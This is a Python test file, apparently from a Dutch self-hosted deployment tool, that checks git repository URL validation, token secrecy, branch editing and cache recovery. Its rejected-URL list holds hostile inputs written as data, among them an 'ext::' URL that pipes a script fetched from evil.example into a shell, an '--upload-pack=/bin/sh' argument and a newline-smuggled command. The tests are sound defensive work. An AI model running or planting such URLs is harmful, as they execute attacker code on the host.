bes-r/server-up
1
0
Fork 0
Code Issues Pull requests Projects Releases 8 Packages Wiki Activity Actions
server-up/tests/test_repo_urls.py
Ramon 483f80e032
All checks were successful
Deploy server-up (dev) / deploy (push) Successful in 6m45s
Details
feat(repos): branch van een app-repo tonen en wijzigen 
Sjablonen komen uit de git-cache van een app-repo, niet uit het image. Welke
branch die volgt was nergens te zien en alleen te wijzigen door de repo te
verwijderen en opnieuw toe te voegen — waarbij de id een volgnummer krijgt en
het bronsjabloon van bestaande apps onvindbaar wordt.

- PUT /api/repos/<id> past naam, branch, submap en optioneel de URL aan; de id
  blijft staan zodat .serverup.json van bestaande stacks blijft kloppen.
- Een leeg tokenveld laat het bestaande token staan.
- De repolijst toont de branch en heeft een bewerkknop; na opslaan wordt de
  repo meteen opnieuw opgehaald.
- Nieuwe auditactie 'edit' vertaald in nl en en.

Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01H9Vcwu7owJZ3nj5dCf4VFT
2026-08-06 22:10:42 +02:00

359 lines
14 KiB
Python
Raw Blame History

"""Git-URL-validatie. `ext::` voert een shell-commando uit, `file://` legt
lokale paden bloot — beide horen niet in een door de gebruiker opgegeven URL."""
import pytest
from conftest import login
@pytest.mark.parametrize("url", [
"https://github.com/bes-r/server-up.git",
"http://10.0.20.22:3000/bes-r/server-up.git",
"ssh://git@example.com/bes-r/server-up.git",
"git@github.com:bes-r/server-up.git",
])
def test_toegestane_urls(env, url):
assert env["core"].valid_repo_url(url) is True
@pytest.mark.parametrize("url", [
'ext::sh -c "curl evil.example/x.sh | sh"',
"file:///etc",
"/etc/passwd",
"--upload-pack=/bin/sh",
"",
"https://example.com/repo.git\next::sh -c id",
])
def test_geweigerde_urls(env, url):
assert env["core"].valid_repo_url(url) is False
def test_repo_toevoegen_weigert_ext_transport(client):
csrf = login(client)
r = client.post("/api/repos", json={"url": 'ext::sh -c "id"'},
headers={"X-CSRF-Token": csrf})
assert r.status_code == 400
assert client.get("/api/repos").get_json() is not None
def test_clone_weigert_ext_transport_uit_oude_config(env):
"""Vangnet: ook een repo die al in config.json stond wordt geweigerd."""
from core import git
ok, msg = git.clone_or_pull({"id": "boos", "url": 'ext::sh -c "id"'})
assert ok is False
assert "niet-toegestane" in msg
def test_repos_endpoint_lekt_geen_token(client, env):
csrf = login(client)
client.post("/api/repos",
json={"url": "https://example.com/geheim.git", "token": "s3cr3t-token"},
headers={"X-CSRF-Token": csrf})
body = client.get("/api/repos").get_data(as_text=True)
assert "s3cr3t-token" not in body
assert "has_token" in body
settings = client.get("/api/settings").get_data(as_text=True)
assert "s3cr3t-token" not in settings
def test_settings_put_wist_bestaand_token_niet(client, env):
csrf = login(client)
client.post("/api/repos",
json={"id": "mijn", "url": "https://example.com/x.git", "token": "blijf-staan"},
headers={"X-CSRF-Token": csrf})
repos = client.get("/api/repos").get_json()
client.put("/api/settings", json={"APP_REPOS": repos},
headers={"X-CSRF-Token": csrf})
stored = env["core"].load()["APP_REPOS"]
mijn = next(r for r in stored if r["id"] == "mijn")
assert mijn["token"] == "blijf-staan"
def test_settings_put_kan_auth_niet_overschrijven(client, env):
csrf = login(client)
client.put("/api/settings",
json={"AUTH": {"mode": "proxy", "users": {}, "trusted_proxies": ["0.0.0.0/0"]}},
headers={"X-CSRF-Token": csrf})
import core.auth as auth
assert auth.settings()["mode"] == "local"
assert "tester" in auth.settings()["users"]
# ── Bijwerken van de cache ───────────────────────────────────────────────────
# `git pull --rebase` leunt op de upstream-instellingen van de lokale kloon.
# Die kunnen ontsporen, en de branch uit de instellingen werd er sowieso niet
# door gevolgd.
def _repo_met_twee_takken(tmp_path):
import subprocess as sp
bron = tmp_path / "bron"
bron.mkdir()
def g(*a):
return sp.run(["git", *a], cwd=str(bron), capture_output=True,
text=True, check=True)
g("init", "-qb", "main", ".")
g("config", "user.email", "t@t")
g("config", "user.name", "t")
(bron / "app.txt").write_text("van main")
g("add", "app.txt")
g("commit", "-qm", "main")
g("checkout", "-qb", "dev")
(bron / "app.txt").write_text("van dev")
g("commit", "-qam", "dev")
g("checkout", "-q", "main")
return bron
def test_bijwerken_volgt_de_ingestelde_branch(env, tmp_path, monkeypatch):
"""`git pull` haalde altijd de tak op waarop ooit gekloond was. Zette je de
branch in de instellingen om, dan gebeurde er stilzwijgend niets."""
import shutil as _shutil
from core import git
if not _shutil.which("git"):
pytest.skip("git niet aanwezig")
bron = _repo_met_twee_takken(tmp_path)
# file:// is normaal niet toegestaan; hier gaat het om het bijwerken zelf.
monkeypatch.setattr("core.valid_repo_url", lambda u: True)
repo = {"id": "proef", "url": f"file://{bron}", "branch": "main"}
ok, msg = git.clone_or_pull(repo)
assert ok, msg
cache = git.cache_dir("proef")
assert (cache / "app.txt").read_text() == "van main"
repo["branch"] = "dev"
ok, msg = git.clone_or_pull(repo)
assert ok, msg
assert (cache / "app.txt").read_text() == "van dev", \
"de gewijzigde branch werd genegeerd"
def test_bijwerken_overleeft_een_ontspoorde_upstream(env, tmp_path, monkeypatch):
"""Twee waarden in `branch.<tak>.merge` lieten git stoppen met "Cannot
rebase onto multiple branches" — en daarmee werkte er niets meer bij."""
import shutil as _shutil
import subprocess as sp
from core import git
if not _shutil.which("git"):
pytest.skip("git niet aanwezig")
bron = _repo_met_twee_takken(tmp_path)
monkeypatch.setattr("core.valid_repo_url", lambda u: True)
repo = {"id": "proef", "url": f"file://{bron}", "branch": "main"}
assert git.clone_or_pull(repo)[0]
cache = git.cache_dir("proef")
sp.run(["git", "config", "remote.origin.fetch",
"+refs/heads/*:refs/remotes/origin/*"], cwd=str(cache), check=True)
sp.run(["git", "config", "--add", "branch.main.merge", "refs/heads/dev"],
cwd=str(cache), check=True)
ok, msg = git.clone_or_pull(repo)
assert ok, f"bijwerken struikelt over de upstream-instellingen: {msg}"
assert "multiple branches" not in msg
def test_lokale_rommel_in_de_cache_blokkeert_niets(env, tmp_path, monkeypatch):
"""De cache is van Server Up; wat er lokaal in gewijzigd is mag het
bijwerken niet tegenhouden."""
import shutil as _shutil
from core import git
if not _shutil.which("git"):
pytest.skip("git niet aanwezig")
bron = _repo_met_twee_takken(tmp_path)
monkeypatch.setattr("core.valid_repo_url", lambda u: True)
repo = {"id": "proef", "url": f"file://{bron}", "branch": "main"}
assert git.clone_or_pull(repo)[0]
(git.cache_dir("proef") / "app.txt").write_text("met de hand gewijzigd")
ok, msg = git.clone_or_pull(repo)
assert ok, msg
assert (git.cache_dir("proef") / "app.txt").read_text() == "van main"
def test_een_kapotte_cache_haalt_zichzelf_opnieuw_op(env, tmp_path, monkeypatch):
""""fatal: shallow file has changed since we read it" liet een repo achter
die zich niet meer liet bijwerken, en daarmee een lege app store.
De cache bevat niets dat bewaard hoeft te blijven, dus opnieuw ophalen is
het antwoord op elke fout — niet alleen op deze."""
import shutil as _shutil
from core import git
if not _shutil.which("git"):
pytest.skip("git niet aanwezig")
bron = _repo_met_twee_takken(tmp_path)
monkeypatch.setattr("core.valid_repo_url", lambda u: True)
repo = {"id": "proef", "url": f"file://{bron}", "branch": "main"}
assert git.clone_or_pull(repo)[0]
cache = git.cache_dir("proef")
# Een `.git/shallow` met onzin erin: precies wat een halverwege afgebroken
# fetch achterlaat.
(cache / ".git" / "shallow").write_text("dit is geen commit\n", encoding="utf-8")
(cache / "app.txt").unlink()
regels = []
ok, msg = git.clone_or_pull(repo, log_fn=regels.append)
assert ok, f"de cache herstelt zichzelf niet: {msg}"
assert (cache / "app.txt").read_text() == "van main"
assert any("opnieuw op" in r for r in regels), regels
def test_twee_synchronisaties_tegelijk_botsen_niet(env, tmp_path, monkeypatch):
"""Bij het opstarten wordt alles gesynchroniseerd; ondertussen kan iemand
op Synchroniseren drukken. Twee `git fetch` in dezelfde map leveren
"shallow file has changed" op en laten de cache halverwege achter."""
import shutil as _shutil
import threading
from core import git
if not _shutil.which("git"):
pytest.skip("git niet aanwezig")
bron = _repo_met_twee_takken(tmp_path)
monkeypatch.setattr("core.valid_repo_url", lambda u: True)
repo = {"id": "proef", "url": f"file://{bron}", "branch": "main"}
assert git.clone_or_pull(repo)[0]
tegelijk = []
bezig = threading.Lock()
echt = git.subprocess.run
def merk_op(cmd, **kw):
if cmd[:2] == ["git", "fetch"]:
if not bezig.acquire(blocking=False):
tegelijk.append(cmd)
else:
try:
return echt(cmd, **kw)
finally:
bezig.release()
return echt(cmd, **kw)
monkeypatch.setattr(git.subprocess, "run", merk_op)
draden = [threading.Thread(target=git.clone_or_pull, args=(dict(repo),))
for _ in range(4)]
for d in draden:
d.start()
for d in draden:
d.join(timeout=60)
assert not tegelijk, f"{len(tegelijk)} fetches liepen door elkaar heen"
assert (cache_na := (git.cache_dir("proef") / "app.txt")).read_text() == "van main", cache_na
def test_dubbele_repo_ids_komen_maar_een_keer_terug(client, env):
"""De interface tekent de repolijst met `:key="repo.id"`. Dubbele keys zijn
voor Alpine ongedefinieerd gedrag: je krijgt ontbrekende blokken terwijl de
tellers doorrekenen — een dalend getal onder een leeg scherm."""
import core
from conftest import login
login(client)
core.patch({"APP_REPOS": [
{"id": "server-up", "url": "https://voorbeeld/a.git", "name": "A"},
{"id": "boilerplates", "url": "https://voorbeeld/b.git", "name": "B"},
{"id": "server-up", "url": "https://voorbeeld/c.git", "name": "C"},
{"url": "https://voorbeeld/d.git", "name": "zonder id"},
]})
d = client.get("/api/repos").get_json()
ids = [r["id"] for r in d]
assert ids == ["server-up", "boilerplates"], ids
assert len(ids) == len(set(ids)), "er zitten nog dubbele ids in"
def test_verwijderen_haalt_alle_regels_met_die_id_weg(client, env):
"""Een dubbele vermelding hoort in één keer weg. En een regel zonder id
mag hier geen 500 geven — dezelfde fout die /api/repos had."""
import core
from conftest import login
csrf = login(client)
core.patch({"APP_REPOS": [
{"id": "server-up", "url": "https://voorbeeld/a.git"},
{"id": "blijft", "url": "https://voorbeeld/b.git"},
{"id": "server-up", "url": "https://voorbeeld/c.git"},
{"url": "https://voorbeeld/d.git"},
]})
r = client.delete("/api/repos/server-up", headers={"X-CSRF-Token": csrf})
assert r.status_code == 200, r.get_json()
over = core.load()["APP_REPOS"]
assert [x.get("id") for x in over] == ["blijft", None], over
# ── Een bestaande repo aanpassen ─────────────────────────────────────────────
def test_branch_van_bestaande_repo_wijzigen(client, env):
"""De id van een repo staat in de metadata van elke stack die eruit komt.
Wie van branch wilde wisselen kon alleen verwijderen en opnieuw toevoegen;
de id kreeg er dan een volgnummer bij en het bronsjabloon van bestaande
apps was ineens onvindbaar.
"""
csrf = login(client)
client.post("/api/repos",
json={"url": "https://example.com/eigen-apps.git", "branch": "main",
"subdir": "apps"},
headers={"X-CSRF-Token": csrf})
r = client.put("/api/repos/eigen-apps", json={"branch": "dev"},
headers={"X-CSRF-Token": csrf})
assert r.status_code == 200, r.get_json()
repo = next(x for x in client.get("/api/repos").get_json()
if x["id"] == "eigen-apps")
assert repo["branch"] == "dev"
# De rest blijft staan; alleen wat je meestuurt verandert.
assert repo["subdir"] == "apps"
assert repo["url"] == "https://example.com/eigen-apps.git"
def test_bewerken_van_onbekende_repo(client, env):
csrf = login(client)
r = client.put("/api/repos/bestaatniet", json={"branch": "dev"},
headers={"X-CSRF-Token": csrf})
assert r.status_code == 404
def test_bewerken_wist_een_bestaand_token_niet(client, env):
"""De interface krijgt het token nooit te zien, dus stuurt hij het leeg
terug. Dat mag geen repo zonder toegang opleveren."""
csrf = login(client)
client.post("/api/repos",
json={"url": "https://example.com/prive.git", "token": "s3cr3t-token"},
headers={"X-CSRF-Token": csrf})
r = client.put("/api/repos/prive", json={"branch": "dev", "token": ""},
headers={"X-CSRF-Token": csrf})
assert r.status_code == 200
assert "s3cr3t-token" not in r.get_data(as_text=True)
from core import config as _cfg # noqa: F401
import core
repo = next(x for x in core.load()["APP_REPOS"] if x["id"] == "prive")
assert repo["token"] == "s3cr3t-token"
assert repo["branch"] == "dev"
def test_bewerken_weigert_een_ongeldige_url(client, env):
csrf = login(client)
client.post("/api/repos", json={"url": "https://example.com/proef.git"},
headers={"X-CSRF-Token": csrf})
r = client.put("/api/repos/proef", json={"url": 'ext::sh -c "id"'},
headers={"X-CSRF-Token": csrf})
assert r.status_code == 400
def test_viewer_mag_geen_repo_bewerken(client, env):
csrf = login(client)
client.post("/api/repos", json={"url": "https://example.com/proef.git"},
headers={"X-CSRF-Token": csrf})
client.post("/api/auth/users",
json={"username": "kijker", "password": "eenlangwachtwoord",
"role": "viewer"}, headers={"X-CSRF-Token": csrf})
kijker = client.post("/api/auth/login",
json={"username": "kijker", "password": "eenlangwachtwoord"}
).get_json()["csrf_token"]
assert client.put("/api/repos/proef", json={"branch": "dev"},
headers={"X-CSRF-Token": kijker}).status_code == 403
Reference in a new issue View git blame Copy permalink